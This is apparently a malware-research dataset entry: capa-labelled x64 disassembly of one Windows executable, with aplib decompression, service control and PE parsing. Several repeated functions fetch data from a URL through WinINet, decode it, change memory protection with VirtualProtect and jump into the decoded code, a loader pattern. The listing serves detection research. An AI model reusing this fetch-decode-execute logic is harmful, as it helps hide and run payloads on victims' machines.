joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140710160
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1407102e7
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140710191
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140710177
add dl, dl
jne 0x14071019e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407101fe
xor eax, eax
add dl, dl
jne 0x1407101ad
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407102b5
add dl, dl
jne 0x1407101be
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407101cb
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407101d8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407101e5
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407101f2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140710186
mov eax, 1
add dl, dl
jne 0x14071020e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14071021b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140710203
sub eax, ebx
mov ebx, 1
jne 0x140710254
mov ecx, 1
add dl, dl
jne 0x140710236
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140710243
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14071022b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140710186
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140710270
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14071027d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140710265
cmp eax, 0x7d00
jae 0x1407102a3
cmp eax, 0x500
jb 0x14071029e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140710186
cmp eax, 0x7f
ja 0x1407102a6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140710186
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407102da
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140710186
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1416c7058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1416c71df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1416c7089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1416c706f
add dl, dl
jne 0x1416c7096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1416c70f6
xor eax, eax
add dl, dl
jne 0x1416c70a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1416c71ad
add dl, dl
jne 0x1416c70b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416c70c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416c70d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416c70dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1416c70ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1416c707e
mov eax, 1
add dl, dl
jne 0x1416c7106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416c7113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1416c70fb
sub eax, ebx
mov ebx, 1
jne 0x1416c714c
mov ecx, 1
add dl, dl
jne 0x1416c712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1416c713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1416c7123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1416c707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1416c7168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1416c7175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1416c715d
cmp eax, 0x7d00
jae 0x1416c719b
cmp eax, 0x500
jb 0x1416c7196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1416c707e
cmp eax, 0x7f
ja 0x1416c719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1416c707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1416c71d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1416c707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001060
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rcx, qword [str.kernel32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
and qword [rsp + 0x58], 0
mov rbp, rax
mov ebx, dword [0x1400240b8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x104
xor ecx, ecx
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rbx
call section..text
mov rbx, qword [0x140024054]
mov rsi, rax
cmp dword [rbx], 0
je 0x1400010d8
mov rcx, rax
call fcn.14000102c
cmp eax, dword [rbx + 4]
je 0x1400010d8
cmp eax, dword [rbx + 8]
je 0x1400010d8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [str.WININET.DLL]
add rsi, 0x20a
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdx, qword [0x14002406c]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [str.InternetOpenUrlA]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [str.InternetReadFile]
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [str.splat]
xor r9d, r9d
and dword [rsp + 0x50], 0
xor r8d, r8d
and dword [rsp + 0x20], 0
mov rbx, rax
lea edx, [r9 + 1]
call rdi
test rax, rax
je 0x1400011e6
mov ecx, dword [0x1400240a4]
xor r9d, r9d
and qword [rsp + 0x28], 0
xor r8d, r8d
mov rdx, qword [str.https:__www.ibiblio.org_pub_multimedia_pc_sounds_siren.wav]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r14
test rax, rax
je 0x1400011e6
mov r8d, dword [0x1400240b8]
lea r9, [rsp + 0x50]
mov rdx, rsi
mov rcx, rax
call rbx
test eax, eax
je 0x1400011e6
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x1400011e6
lea rdx, [rsi + rax]
cmp rdx, rsi
je 0x1400011e6
mov r9d, dword [rsi]
xor r8d, r8d
mov rax, qword [0x14002405c]
mov eax, dword [rax + r8]
add eax, r9d
mov dword [r8 + rdx], eax
add r8, 4
cmp r8, 0x80
jl 0x1400011a5
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
Function at 0x1400010c0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rcx, qword [str.kernel32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
and qword [rsp + 0x58], 0
mov rbp, rax
mov ebx, dword [0x1400240b8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x104
xor ecx, ecx
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rbx
call section..text
mov rbx, qword [0x140024054]
mov rsi, rax
cmp dword [rbx], 0
je 0x1400010d8
mov rcx, rax
call fcn.14000102c
cmp eax, dword [rbx + 4]
je 0x1400010d8
cmp eax, dword [rbx + 8]
je 0x1400010d8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [str.WININET.DLL]
add rsi, 0x20a
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdx, qword [0x14002406c]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [str.InternetOpenUrlA]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [str.InternetReadFile]
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [str.splat]
xor r9d, r9d
and dword [rsp + 0x50], 0
xor r8d, r8d
and dword [rsp + 0x20], 0
mov rbx, rax
lea edx, [r9 + 1]
call rdi
test rax, rax
je 0x1400011e6
mov ecx, dword [0x1400240a4]
xor r9d, r9d
and qword [rsp + 0x28], 0
xor r8d, r8d
mov rdx, qword [str.https:__www.ibiblio.org_pub_multimedia_pc_sounds_siren.wav]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r14
test rax, rax
je 0x1400011e6
mov r8d, dword [0x1400240b8]
lea r9, [rsp + 0x50]
mov rdx, rsi
mov rcx, rax
call rbx
test eax, eax
je 0x1400011e6
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x1400011e6
lea rdx, [rsi + rax]
cmp rdx, rsi
je 0x1400011e6
mov r9d, dword [rsi]
xor r8d, r8d
mov rax, qword [0x14002405c]
mov eax, dword [rax + r8]
add eax, r9d
mov dword [r8 + rdx], eax
add r8, 4
cmp r8, 0x80
jl 0x1400011a5
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
Function at 0x140001120
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rcx, qword [str.kernel32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
and qword [rsp + 0x58], 0
mov rbp, rax
mov ebx, dword [0x1400240b8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x104
xor ecx, ecx
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rbx
call section..text
mov rbx, qword [0x140024054]
mov rsi, rax
cmp dword [rbx], 0
je 0x1400010d8
mov rcx, rax
call fcn.14000102c
cmp eax, dword [rbx + 4]
je 0x1400010d8
cmp eax, dword [rbx + 8]
je 0x1400010d8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [str.WININET.DLL]
add rsi, 0x20a
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdx, qword [0x14002406c]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [str.InternetOpenUrlA]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [str.InternetReadFile]
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [str.splat]
xor r9d, r9d
and dword [rsp + 0x50], 0
xor r8d, r8d
and dword [rsp + 0x20], 0
mov rbx, rax
lea edx, [r9 + 1]
call rdi
test rax, rax
je 0x1400011e6
mov ecx, dword [0x1400240a4]
xor r9d, r9d
and qword [rsp + 0x28], 0
xor r8d, r8d
mov rdx, qword [str.https:__www.ibiblio.org_pub_multimedia_pc_sounds_siren.wav]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r14
test rax, rax
je 0x1400011e6
mov r8d, dword [0x1400240b8]
lea r9, [rsp + 0x50]
mov rdx, rsi
mov rcx, rax
call rbx
test eax, eax
je 0x1400011e6
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x1400011e6
lea rdx, [rsi + rax]
cmp rdx, rsi
je 0x1400011e6
mov r9d, dword [rsi]
xor r8d, r8d
mov rax, qword [0x14002405c]
mov eax, dword [rax + r8]
add eax, r9d
mov dword [r8 + rdx], eax
add r8, 4
cmp r8, 0x80
jl 0x1400011a5
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rcx, qword [str.kernel32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
and qword [rsp + 0x58], 0
mov rbp, rax
mov ebx, dword [0x1400240b8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x104
xor ecx, ecx
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rbx
call section..text
mov rbx, qword [0x140024054]
mov rsi, rax
cmp dword [rbx], 0
je 0x1400010d8
mov rcx, rax
call fcn.14000102c
cmp eax, dword [rbx + 4]
je 0x1400010d8
cmp eax, dword [rbx + 8]
je 0x1400010d8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [str.WININET.DLL]
add rsi, 0x20a
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdx, qword [0x14002406c]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [str.InternetOpenUrlA]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [str.InternetReadFile]
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [str.splat]
xor r9d, r9d
and dword [rsp + 0x50], 0
xor r8d, r8d
and dword [rsp + 0x20], 0
mov rbx, rax
lea edx, [r9 + 1]
call rdi
test rax, rax
je 0x1400011e6
mov ecx, dword [0x1400240a4]
xor r9d, r9d
and qword [rsp + 0x28], 0
xor r8d, r8d
mov rdx, qword [str.https:__www.ibiblio.org_pub_multimedia_pc_sounds_siren.wav]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r14
test rax, rax
je 0x1400011e6
mov r8d, dword [0x1400240b8]
lea r9, [rsp + 0x50]
mov rdx, rsi
mov rcx, rax
call rbx
test eax, eax
je 0x1400011e6
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x1400011e6
lea rdx, [rsi + rax]
cmp rdx, rsi
je 0x1400011e6
mov r9d, dword [rsi]
xor r8d, r8d
mov rax, qword [0x14002405c]
mov eax, dword [rax + r8]
add eax, r9d
mov dword [r8 + rdx], eax
add r8, 4
cmp r8, 0x80
jl 0x1400011a5
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
Function at 0x1400011b0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rcx, qword [str.kernel32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
and qword [rsp + 0x58], 0
mov rbp, rax
mov ebx, dword [0x1400240b8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x104
xor ecx, ecx
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rbx
call section..text
mov rbx, qword [0x140024054]
mov rsi, rax
cmp dword [rbx], 0
je 0x1400010d8
mov rcx, rax
call fcn.14000102c
cmp eax, dword [rbx + 4]
je 0x1400010d8
cmp eax, dword [rbx + 8]
je 0x1400010d8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [str.WININET.DLL]
add rsi, 0x20a
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdx, qword [0x14002406c]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [str.InternetOpenUrlA]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [str.InternetReadFile]
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [str.splat]
xor r9d, r9d
and dword [rsp + 0x50], 0
xor r8d, r8d
and dword [rsp + 0x20], 0
mov rbx, rax
lea edx, [r9 + 1]
call rdi
test rax, rax
je 0x1400011e6
mov ecx, dword [0x1400240a4]
xor r9d, r9d
and qword [rsp + 0x28], 0
xor r8d, r8d
mov rdx, qword [str.https:__www.ibiblio.org_pub_multimedia_pc_sounds_siren.wav]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call r14
test rax, rax
je 0x1400011e6
mov r8d, dword [0x1400240b8]
lea r9, [rsp + 0x50]
mov rdx, rsi
mov rcx, rax
call rbx
test eax, eax
je 0x1400011e6
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x1400011e6
lea rdx, [rsi + rax]
cmp rdx, rsi
je 0x1400011e6
mov r9d, dword [rsi]
xor r8d, r8d
mov rax, qword [0x14002405c]
mov eax, dword [rax + r8]
add eax, r9d
mov dword [r8 + rdx], eax
add r8, 4
cmp r8, 0x80
jl 0x1400011a5
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax

Function at 0x1400011d0
Capabilities:
Terminate process

Disassembly:
je 0x1400011e6
mov rdx, qword [0x14002407c]
lea rcx, [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
call rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140001ef0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x40
mov ebp, edx
mov rdi, rcx
xor eax, eax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x10], ebx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, qword [str.kernel32.dll]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [0x1400240b8]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [rsp + 0x30], 0
mov ebx, dword [0x1400240b8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r8d, r8d
mov rcx, qword [str.VirtualProtect]
mov edx, dword [rcx + r8]
mov dword [r8 + rax], edx
add r8, 4
cmp r8, 0x88
jl 0x140001f77
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x140002032
mov rbx, qword [0x14002403c]
lea r9, [rsp + 0x30]
mov r8d, dword [0x1400240bc]
mov rcx, rbx
mov edx, 0x6000
call rdi
mov r9, qword [0x140024064]
lea r8, [rbx + 8]
lea eax, [rbx + 8]

Function at 0x140001fd0
Capabilities:
Terminate process

Disassembly:
lea eax, [rbx + 8]
mov r9d, r9d
mov r10d, 0x17fe
add r9, rsi
mov esi, dword [r9 + 4]
sub r9, rbx
mov ecx, dword [r9 + r8]
add ecx, esi
mov dword [r8], ecx
lea r8, [r8 + 4]
sub r10, 1
jne 0x140001fe6
mov eax, dword [0x140024020]
lea r9, [rsp + 0x30]
mov dword [rbx + 8], eax
mov edx, 0x6000
mov r8d, dword [rsp + 0x30]
mov rcx, rbx
call rdi
mov eax, dword [0x1400240ac]
mov r8d, dword [rbx + 0xc]
mov ecx, dword [0x1400240ac]
add r8, rax
add r8, rbx
add rcx, rbx
call r8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140004450
Capabilities:
Query service status

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x14002f160]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rbx, r8
mov rdi, rdx
mov qword [rsp + 0x78], 0
mov r9d, 4
mov r8, rdx
lea rdx, [rsp + 0x78]
call fcn.140005210
nop
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14000453b
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
mov r8, rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x1400044f3
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x1400044d2
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140008d50
mov rbx, qword [rsp + 0xa0]
add rsp, 0x90
pop rdi
ret
mov r8, rdi
lea rdx, str.Could_not_get_SERVICE_STATUS_PROCESS_for_service__ws_
lea rcx, [rsp + 0x30]
call fcn.140001920
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
call fcn.1400075a0
mov r8, rax
mov r9, rdi
mov edx, ebx
lea rcx, [rsp + 0x50]
call fcn.140003230
lea rdx, [0x14002daa8]
lea rcx, [rsp + 0x50]
call fcn.140009ad4
nop
lea rdx, str.sc_handle_not_initialized
lea rcx, [rsp + 0x30]
call fcn.140003040
lea rdx, [0x14002da50]
lea rcx, [rsp + 0x30]
call fcn.140009ad4
int3
Function at 0x140005ab0
Capabilities:
Start service

Disassembly:
mov r11, rsp
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0xb8
mov rax, qword [0x14002f160]
xor rax, rsp
mov qword [rsp + 0xa8], rax
mov rdi, r9
mov r15, r8
mov rbp, rdx
mov r14, rcx
xor ebx, ebx
mov qword [r11 - 0x60], rbx
lea r9d, [rbx + 0x14]
mov r8, rdx
lea rdx, [r11 - 0x60]
call fcn.140005210
nop
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x90], xmm1
mov esi, ebx
mov qword [rsp + 0xa0], rbx
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
cmp rcx, rdx
je 0x140005b95
sub rdx, rcx
sar rdx, 5
test rdx, rdx
je 0x140005b42
lfence
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x90]
call fcn.1400025b0
mov rsi, qword [rsp + 0xa0]
mov rdx, qword [rdi + 8]
mov rcx, qword [rdi]
mov rax, rdx
sub rax, rcx
sar rax, 5
mov r9, qword [rsp + 0x90]
test rax, rax
je 0x140005b92
mov r8, rbx
lea rax, [r8 + rcx]
cmp qword [rax + 0x18], 8
jb 0x140005b71
mov rax, qword [rax]
mov qword [r9 + rbx*8], rax
inc rbx
add r8, 0x20
mov rdx, qword [rdi + 8]
mov rcx, qword [rdi]
mov rax, rdx
sub rax, rcx
sar rax, 5
cmp rbx, rax
jb 0x140005b63
mov rbx, r9
sub rdx, rcx
sar rdx, 5
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x140005c4c
mov r8, rbx
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x140005c6f
mov r9, r15
lea r8, [rsp + 0x88]
mov rdx, rbp
mov rcx, r14
call fcn.140006300
nop
test rbx, rbx
je 0x140005c13
sub rsi, rbx
sar rsi, 3
lea rdx, [rsi*8]
cmp rdx, 0x1000
jb 0x140005c0a
add rdx, 0x27
mov rax, qword [rbx - 8]
sub rbx, rax
add rbx, 0xfffffffffffffff8
cmp rbx, 0x1f
ja 0x140005c46
mov rbx, rax
mov rcx, rbx
call fcn.1400089e8
nop
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x140005c26
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.140008d50
add rsp, 0xb8
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
call fcn.14000f1a4
nop
lea rdx, str.sc_handle_not_initialized
lea rcx, [rsp + 0x28]
call fcn.140003040
lea rdx, [0x14002da50]
lea rcx, [rsp + 0x28]
call fcn.140009ad4
int3
mov r8, rbp
lea rdx, str.Start_service__ws_failed
lea rcx, [rsp + 0x68]
call fcn.140001920
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
call fcn.1400075a0
mov r8, rax
mov r9, rdi
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140003230
lea rdx, [0x14002daa8]
lea rcx, [rsp + 0x40]
call fcn.140009ad4
int3
Function at 0x140009394
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400093de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400093de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400093de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400093de
cmp dword [rcx + 0x84], 0xe
jbe 0x1400093de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400093e0
xor al, al
add rsp, 0x28
ret

Function at 0x140012110
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140011f0c
Function at 0x140017dd8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140017e08
xor eax, eax
jmp 0x140017ecb
mov rbp, rbx
cmp word [rax], si
je 0x140017e2d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140017e14
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140017e10
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140017cf8
movsxd r14, eax
test eax, eax
jne 0x140017e6b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140017e01
mov rcx, r14
call fcn.140013e1c
mov rdi, rax
test rax, rax
jne 0x140017e84
xor ecx, ecx
call fcn.140013de0
jmp 0x140017e60
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140017cf8
test eax, eax
jne 0x140017eb5
mov rcx, rdi
call fcn.140013de0
jmp 0x140017ebf
xor ecx, ecx
call fcn.140013de0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret